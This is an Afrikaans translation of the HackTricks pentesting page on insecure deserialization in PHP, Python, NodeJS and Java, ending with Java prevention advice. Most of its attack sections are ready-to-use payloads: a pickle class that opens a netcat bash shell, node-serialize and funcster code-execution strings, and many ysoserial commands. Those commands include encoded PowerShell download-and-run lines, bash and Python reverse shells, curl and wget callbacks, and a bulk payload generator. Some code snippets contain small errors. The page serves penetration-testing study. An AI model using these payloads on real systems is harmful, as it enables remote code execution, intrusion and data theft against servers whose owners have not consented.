hacktricks/pentesting-web/deserialization

Deserialisasie

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

• As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat, kyk na die SUBSCRIPTION PLANS!
• Kry die amptelike PEASS & HackTricks swag
• Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
• Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @hacktricks_live.
• Deel jou hacktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.

Basiese Inligting

Serialisasie word verstaan as die metode om 'n voorwerp in 'n formaat om te skakel wat behou kan word, met die doel om die voorwerp te stoor of dit as deel van 'n kommunikasieproses oor te dra. Hierdie tegniek word dikwels gebruik om te verseker dat die voorwerp op 'n latere tydstip herstel kan word, terwyl die struktuur en toestand behou word.

Deserialisasie, daarenteen, is die proses wat teenwerk aan serialisasie. Dit behels die neem van data wat in 'n spesifieke formaat gestruktureer is en dit terug te bou na 'n voorwerp.

Deserialisasie kan gevaarlik wees omdat dit potensieel aanvallers in staat stel om die geserialiseerde data te manipuleer om skadelike kode uit te voer of onverwagte gedrag in die toepassing te veroorsaak tydens die voorwerpherbouproses.

PHP

In PHP word spesifieke sielkundige metodes gebruik tydens die serialisasie- en deserialisasieprosesse:

• __sleep: Word aangeroep wanneer 'n voorwerp geserialiseer word. Hierdie metode moet 'n reeks van die name van alle eienskappe van die voorwerp wat geserialiseer moet word, teruggee. Dit word gewoonlik gebruik om hangende data te bevestig of soortgelyke skoonmaaktake uit te voer.
• __wakeup: Word geroep wanneer 'n voorwerp gedeserialiseer word. Dit word gebruik om enige databasisverbindings te herstel wat dalk verlore gegaan het tydens serialisasie en om ander herinisialiseringstake uit te voer.
• __unserialize: Hierdie metode word geroep in plaas van __wakeup (as dit bestaan) wanneer 'n voorwerp gedeserialiseer word. Dit bied meer beheer oor die deserialisasieproses in vergelyking met __wakeup.
• __destruct: Hierdie metode word geroep wanneer 'n voorwerp op die punt staan om vernietig te word of wanneer die skripsie eindig. Dit word tipies gebruik vir skoonmaaktake, soos die sluit van lêerhandvatsels of databasisverbindings.
• __toString: Hierdie metode maak dit moontlik om 'n voorwerp as 'n string te hanteer. Dit kan gebruik word om 'n lêer te lees of ander take uit te voer gebaseer op die funksie-oproepe daarin, en bied dus 'n teksuele voorstelling van die voorwerp.

<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

As jy na die resultate kyk, kan jy sien dat die funksies __wakeup en __destruct geroep word wanneer die voorwerp gedeserializeer word. Let daarop dat in verskeie tutoriale jy sal vind dat die __toString funksie geroep word wanneer jy probeer om 'n eienskap te druk, maar blykbaar gebeur dit nie meer nie.

{% hint style="warning" %} Die metode __unserialize(array $data) word geroep in plaas van __wakeup() as dit geïmplementeer word in die klas. Dit stel jou in staat om die voorwerp te deserialiseer deur die geserialiseerde data as 'n array te voorsien. Jy kan hierdie metode gebruik om eienskappe te deserialiseer en enige nodige take uit te voer tydens deserialisering.

class MyClass {
private $property;

public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}

{% endhint %}

Jy kan 'n verduidelikte PHP-voorbeeld hier lees: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, hier https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf of hier https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

Jy kan die PHP autoload-funksionaliteit misbruik om willekeurige PHP-lêers en meer te laai:

{% content-ref url="php-deserialization-+-autoload-classes.md" %} php-deserialization-+-autoload-classes.md {% endcontent-ref %}

Serializing Referenced Values

As jy om een ​​of ander rede 'n waarde wil serialize as 'n verwysing na 'n ander serializeerde waarde, kan jy dit doen:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial vir PHP)

PHPGGC kan jou help om payloads te genereer om PHP deserialisasies te misbruik.
Let daarop dat jy in verskeie gevalle nie 'n manier sal vind om 'n deserialisasie in die bronkode van die toepassing te misbruik nie, maar jy mag dalk in staat wees om die kode van eksterne PHP-uitbreidings te misbruik.
So, as jy kan, kyk na die phpinfo() van die bediener en soek op die internet (selfs op die toestelle van PHPGGC) vir moontlike toestelle wat jy kan misbruik.

phar:// metadata deserialisasie

As jy 'n LFI gevind het wat net die lêer lees en nie die PHP-kode daarin uitvoer nie, byvoorbeeld deur funksies soos file_get_contents(), fopen(), file() of file_exists(), md5_file(), filemtime() of filesize(). te gebruik. Jy kan probeer om 'n deserialisasie te misbruik wat plaasvind wanneer 'n lêer met die phar-protokol gelees word.
Vir meer inligting lees die volgende pos:

{% content-ref url="../file-inclusion/phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

Python

Pickle

Wanneer die voorwerp ontgepickel word, sal die funksie __reduce__ uitgevoer word.
Wanneer dit uitgebuit word, kan die bediener 'n fout terugstuur.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Vir meer inligting oor ontsnapping uit pickle-gevangenisse, kyk:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Yaml & jsonpickle

Die volgende bladsy bied die tegniek om 'n onveilige deserialisasie in yamls Python-biblioteke te misbruik en sluit af met 'n instrument wat gebruik kan word om RCE-deserialisasie-payloads te genereer vir Pickle, PyYAML, jsonpickle en ruamel.yaml:

{% content-ref url="python-yaml-deserialization.md" %} python-yaml-deserialization.md {% endcontent-ref %}

Klasverontreiniging (Python Prototipeverontreiniging)

{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %} class-pollution-pythons-prototype-pollution.md {% endcontent-ref %}

NodeJS

JS Towerkunsfunksies

JS het nie soos PHP of Python "towerkuns" funksies wat uitgevoer word net om 'n voorwerp te skep nie. Maar dit het sommige funksies wat gereeld gebruik word sonder om hulle direk aan te roep, soos toString, valueOf, toJSON.
As jy 'n deserialisasie misbruik, kan jy hierdie funksies kompromitteer om ander kode uit te voer (moontlik deur prototipeverontreiniging) en arbitrêre kode uitvoer wanneer hulle geroep word.

'n Ander **"towerkuns" manier om 'n funksie te roep sonder om dit direk te roep, is deur 'n voorwerp wat deur 'n asynchrone funksie (belofte) teruggegee word, te kompromitteer. Want as jy daardie terugvoer-voorwerp omskep in 'n ander belofte met 'n eienskap genaamd "then" van die tipe funksie, sal dit uitgevoer word net omdat dit deur 'n ander belofte teruggegee word. Volg hierdie skakel vir meer inligting.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}

async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ en prototype besoedeling

As jy meer wil leer oor hierdie tegniek, kyk na die volgende handleiding:

{% content-ref url="nodejs-proto-prototype-pollution/" %} nodejs-proto-prototype-pollution {% endcontent-ref %}

node-serialize

Hierdie biblioteek maak dit moontlik om funksies te serialiseer. Voorbeeld:

var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

Die geserialiseerde voorwerp sal lyk soos:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

Jy kan sien in die voorbeeld dat wanneer 'n funksie geserializeer word, die _$$ND_FUNC$$_ vlag aan die geserializeerde objek geheg word.

Binne die lêer node-serialize/lib/serialize.js kan jy dieselfde vlag en hoe die kode dit gebruik, vind.

Soos jy kan sien in die laaste stukkie kode, as die vlag gevind word, word eval gebruik om die funksie te deserialiseer, so basies word gebruikerinvoer binne die eval-funksie gebruik.

Nietemin, slegs die serializeering van 'n funksie sal dit nie uitvoer nie, aangesien dit nodig sou wees dat 'n deel van die kode y.rce aanroep in ons voorbeeld en dit is baie onwaarskynlik.
In elk geval kan jy net die geserializeerde objek wysig deur enkele hakies by te voeg om die geserializeerde funksie outomaties uit te voer wanneer die objek gedeserializeer word.
In die volgende stukkie kode let op die laaste hakies en hoe die unserialize-funksie die kode outomaties sal uitvoer:

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

Soos voorheen aangedui, sal hierdie biblioteek die kode na _$$ND_FUNC$$_ kry en dit uitvoer deur gebruik te maak van eval. Om dus kode outomaties uit te voer, kan jy die gedeelte van die funksie-skepping en die laaste hakie verwyder en slegs 'n JS-eenreëler uitvoer, soos in die volgende voorbeeld:

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

Jy kan hier verdere inligting vind oor hoe om hierdie kwesbaarheid uit te buit.

funcster

'n Belangrike aspek van funcster is die ontoeganklikheid van standaard ingeboude voorwerpe; hulle val buite die toeganklike omvang. Hierdie beperking voorkom die uitvoering van kode wat probeer om metodes op ingeboude voorwerpe aan te roep, wat lei tot uitsonderings soos "ReferenceError: console is not defined" wanneer opdragte soos console.log() of require(something) gebruik word.

Ten spyte van hierdie beperking is dit moontlik om volle toegang tot die globale konteks, insluitend alle standaard ingeboude voorwerpe, te herstel deur middel van 'n spesifieke benadering. Deur die globale konteks direk te benut, kan hierdie beperking omseil word. Byvoorbeeld, toegang kan herstel word deur die volgende snipper te gebruik:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

Vir meer inligting lees hierdie bron.

serialize-javascript

Die serialize-javascript pakkie is eksklusief ontwerp vir serialisering doeleindes en het geen ingeboude deserialiseringseienskappe nie. Gebruikers is verantwoordelik vir die implementering van hul eie metode vir deserialisering. 'n Direkte gebruik van eval word voorgestel deur die amptelike voorbeeld vir die deserialisering van geserialiseerde data:

function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}

As hierdie funksie gebruik word om voorwerpe te deserialiseer, kan jy dit maklik uitbuit:

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Vir meer inligting lees hierdie bron.

Cryo-biblioteek

Op die volgende bladsye kan jy inligting vind oor hoe om hierdie biblioteek te misbruik om willekeurige opdragte uit te voer:

• https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
• https://hackerone.com/reports/350418

Java - HTTP

In Java, deserialisering terugroepings word uitgevoer tydens die deserialisering proses. Hierdie uitvoering kan deur aanvallers uitgebuit word deur kwaadwillige lading te skep wat hierdie terugroepings aktiveer, wat kan lei tot die uitvoering van skadelike aksies.

Vingerafdrukke

Wit Boks

Om potensiële serialisering kwesbaarhede in die kodebasis te identifiseer, soek na:

• Klasses wat die Serializable-koppelvlak implementeer.
• Gebruik van java.io.ObjectInputStream, readObject, readUnshare funksies.

Let veral op:

• XMLDecoder wat gebruik word met parameters wat deur eksterne gebruikers gedefinieer is.
• XStream se fromXML-metode, veral as die XStream-weergawe gelyk is aan of minder as 1.46, aangesien dit vatbaar is vir serialiseringkwessies.
• ObjectInputStream gekoppel met die readObject-metode.
• Implementering van metodes soos readObject, readObjectNodData, readResolve, of readExternal.
• ObjectInputStream.readUnshared.
• Algemene gebruik van Serializable.

Swart Boks

Vir swart boks toetsing, soek na spesifieke handtekeninge of "Magic Bytes" wat Java-geserialiseerde voorwerpe aandui (afkomstig van ObjectInputStream):

• Heksadesimale patroon: AC ED 00 05.
• Base64-patroon: rO0.
• HTTP-reaksie-koppe met Content-type wat ingestel is op application/x-java-serialized-object.
• Heksadesimale patroon wat voorafgaande kompressie aandui: 1F 8B 08 00.
• Base64-patroon wat voorafgaande kompressie aandui: H4sIA.
• Web-lêers met die .faces-uitbreiding en die faces.ViewState-parameter. Die ontdekking van hierdie patrone in 'n webtoepassing moet 'n ondersoek aanmoedig soos beskryf in die berig oor Java JSF ViewState Deserialisering.

javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Kontroleer of dit kwesbaar is

As jy wil leer oor hoe 'n Java Gedeserialiseerde aanval werk, moet jy kyk na Basiese Java Gedeserialiseerde, Java DNS Gedeserialiseerde, en CommonsCollection1 Payload.

White Box Toets

Jy kan nagaan of daar enige toepassings geïnstalleer is met bekende kwesbaarhede.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Jy kan probeer om alle biblioteke wat bekend is om kwesbaar te wees en waarvoor Ysoserial 'n aanval kan voorsien, te ondersoek. Of jy kan die biblioteke nakyk wat aangedui word op Java-Deserialization-Cheat-Sheet.
Jy kan ook gadgetinspector gebruik om te soek na moontlike gadget-kettinge wat uitgebuit kan word.
Wanneer jy gadgetinspector gebruik (nadat dit gebou is), maak nie saak oor die tonne waarskuwings/foute wat dit deurloop nie en laat dit voltooi. Dit sal al die bevindinge skryf onder gadgetinspector/gadget-results/gadget-chains-jaar-maand-dag-uur-min.txt. Let asseblief daarop dat gadgetinspector nie 'n aanval sal skep nie en dit kan vals positiewe aandui.

Swart Boks Toets

Met behulp van die Burp-uitbreiding gadgetprobe kan jy identifiseer watter biblioteke beskikbaar is (en selfs die weergawes). Met hierdie inligting kan dit makliker wees om 'n lading te kies om die kwesbaarheid uit te buit.
Lees hierdie om meer te leer oor GadgetProbe.
GadgetProbe fokus op ObjectInputStream deserialisasies.

Met die Burp-uitbreiding Java Deserialization Scanner kan jy kwesbare biblioteke identifiseer wat uitgebuit kan word met ysoserial en hulle uitbuit.
Lees hierdie om meer te leer oor Java Deserialization Scanner.
Java Deserialization Scanner fokus op ObjectInputStream deserialisasies.

Jy kan ook Freddy gebruik om deserialisasie-kwesbaarhede in Burp op te spoor. Hierdie invoegtoepassing sal nie net ObjectInputStream verwante kwesbaarhede opspoor nie, maar ook kwesbaarhede vanaf Json en Yml deserialisasie biblioteke. In aktiewe modus sal dit probeer om dit te bevestig deur gebruik te maak van slaap- of DNS-ladinge.
Meer inligting oor Freddy is hier beskikbaar.

Serialisasie Toets

Dit gaan nie net daaroor om te kyk of enige kwesbare biblioteek deur die bediener gebruik word nie. Soms kan jy in staat wees om die data binne die geserialiseerde voorwerp te verander en sekere kontroles te omseil** (miskien gee dit jou administratiewe voorregte binne 'n webtoepassing).
As jy 'n Java geserialiseerde voorwerp vind wat na 'n webtoepassing gestuur word, kan jy SerializationDumper gebruik om die geserialiseerde voorwerp wat gestuur word in 'n meer mensleesbare formaat af te druk. Dit sal makliker wees om te weet watter data jy stuur en dit te wysig om sekere kontroles te omseil.

Uitbuiting

ysoserial

Die belangrikste instrument om Java deserialisasies uit te buit, is ysoserial (laai hier af). Jy kan ook oorweeg om ysoseral-modified te gebruik wat jou in staat sal stel om komplekse opdragte te gebruik (met pype byvoorbeeld).
Let daarop dat hierdie instrument gefokus is op die uitbuiting van ObjectInputStream.
Ek sou begin deur die "URLDNS" lading voor 'n RCE lading te gebruik om te toets of die inspuiting moontlik is. In elk geval, let daarop dat die "URLDNS" lading dalk nie werk nie, maar 'n ander RCE lading wel.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Wanneer jy 'n payload skep vir java.lang.Runtime.exec(), kan jy nie spesiale karakters soos ">" of "|" gebruik om die uitvoer van 'n uitvoering te herlei nie, "$()" om opdragte uit te voer, of selfs argumente aan 'n opdrag oor te dra wat deur spasies geskei word (jy kan echo -n "hello world" doen, maar jy kan nie python2 -c 'print "Hello world"' doen nie). Om die payload korrek te enkodeer, kan jy hierdie webwerf gebruik.

Voel vry om die volgende skripsie te gebruik om alle moontlike koderingsuitvoerings payloads vir Windows en Linux te skep en dan op die kwesbare webblad te toets:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Jy kan gebruik maak van https://github.com/pwntester/SerialKillerBypassGadgetCollection samen met ysoserial om meer exploits te skep. Meer inligting oor hierdie instrument is beskikbaar in die aantekeninge van die praatjie waar die instrument voorgestel is: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec kan gebruik word om payloads te genereer om verskillende Json en Yml serialisering biblioteke in Java te misbruik.
Om die projek te kompileer, moes ek hierdie afhanklikhede by pom.xml voeg:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Installeer maven en kompileer die projek:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Lees meer oor hierdie Java JSON-biblioteek: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Laboratoriums

• As jy sommige ysoserial payloads wil toets, kan jy hierdie webtoepassing uitvoer: https://github.com/hvqzao/java-deserialize-webapp
• https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/

Waarom

Java gebruik baie serialisering vir verskeie doeleindes soos:

• HTTP-aanvrae: Serialisering word wyd gebruik in die bestuur van parameters, ViewState, koekies, ens.
• RMI (Remote Method Invocation): Die Java RMI-protokol, wat uitsluitlik op serialisering staatmaak, is 'n hoeksteen vir afgeleë kommunikasie in Java-toepassings.
• RMI oor HTTP: Hierdie metode word algemeen gebruik deur Java-gebaseerde dik klient-webtoepassings wat serialisering gebruik vir alle objekkommunikasie.
• JMX (Java Management Extensions): JMX maak gebruik van serialisering vir die oordra van objekte oor die netwerk.
• Aangepaste Protokolle: In Java behels die standaardpraktyk die oordrag van rou Java-objekte, wat gedemonstreer sal word in komende uitbuitvoorbeelde.

Voorkoming

Verganklike objekte

'n Klas wat Serializable implementeer, kan enige objek binne die klas as verganklik implementeer wat nie serialiseerbaar moet wees nie. Byvoorbeeld:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Vermyt Serialisering van 'n klas wat Serializable moet implementeer

In situasies waar sekere voorwerpe die Serializable-koppelvlak moet implementeer as gevolg van klas-hiërargie, is daar 'n risiko van onbedoelde deserialisering. Om dit te voorkom, verseker dat hierdie voorwerpe nie deserialiseerbaar is deur 'n final readObject()-metode te definieer wat konsekwent 'n uitsondering gooi, soos hieronder getoon:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Verbetering van Deserialisering Sekuriteit in Java

Aanpassing van java.io.ObjectInputStream is 'n praktiese benadering vir die beveiliging van deserialisering prosesse. Hierdie metode is geskik wanneer:

• Die deserialisering kode onder jou beheer is.
• Die klasse wat verwag word vir deserialisering bekend is.

Oorskryf die resolveClass() metode om deserialisering te beperk tot slegs toegelate klasse. Dit voorkom deserialisering van enige klasse behalwe dié wat uitdruklik toegelaat is, soos in die volgende voorbeeld wat deserialisering beperk tot slegs die Bicycle klasse:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Die gebruik van 'n Java Agent vir Sekuriteitsverbetering bied 'n alternatiewe oplossing wanneer kode wysiging nie moontlik is nie. Hierdie metode is hoofsaaklik van toepassing vir die swartlys maak van skadelike klasse, deur gebruik te maak van 'n JVM-parameter:

-javaagent:name-of-agent.jar

Dit bied 'n manier om deserialisering dinamies te beveilig, ideaal vir omgewings waar onmiddellike koderingsveranderinge onprakties is.

Kyk na 'n voorbeeld in rO0 deur Contrast Security

Implementering van Serialiseringfilters: Java 9 het serialiseringfilters ingevoer via die ObjectInputFilter-koppelvlak, wat 'n kragtige meganisme bied om kriteria te spesifiseer wat geserialiseerde objekte moet nakom voordat dit gedeserialiseer word. Hierdie filters kan globaal of per stroom toegepas word en bied 'n fyn beheer oor die deserialiseringsproses.

Om serialiseringfilters te gebruik, kan jy 'n globale filter instel wat van toepassing is op alle deserialiseringshandelinge of dit dinamies konfigureer vir spesifieke strome. Byvoorbeeld:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Benutting Eksterne Biblioteke vir Verbeterde Sekuriteit: Biblioteke soos NotSoSerial, jdeserialize, en Kryo bied gevorderde funksies vir die beheer en monitering van Java deserialisasie. Hierdie biblioteke kan addisionele sekuriteitslae bied, soos die witlys of swartlys van klasse, die analise van geserialiseerde voorwerpe voor deserialisasie, en die implementering van aangepaste serialisasie strategieë.

• NotSoSerial onderskep deserialisasieprosesse om die uitvoering van onbetroubare kode te voorkom.
• jdeserialize maak dit moontlik om geserialiseerde Java-voorwerpe te analiseer sonder om hulle te deserialiseer, wat help om potensieel skadelike inhoud te identifiseer.
• Kryo is 'n alternatiewe serialisasie-raamwerk wat klem lê op spoed en doeltreffendheid, en bied konfigureerbare serialisasie strategieë wat die sekuriteit kan verbeter.

Verwysings

• https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
• Deserialisasie en ysoserial praat: http://frohoff.github.io/appseccali-marshalling-pickles/
• https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
• https://www.youtube.com/watch?v=VviY3O-euVQ
• Praat oor gadgetinspector: https://www.youtube.com/watch?v=wPbW6zQ52w8 en dia's: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
• Marshalsec-artikel: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
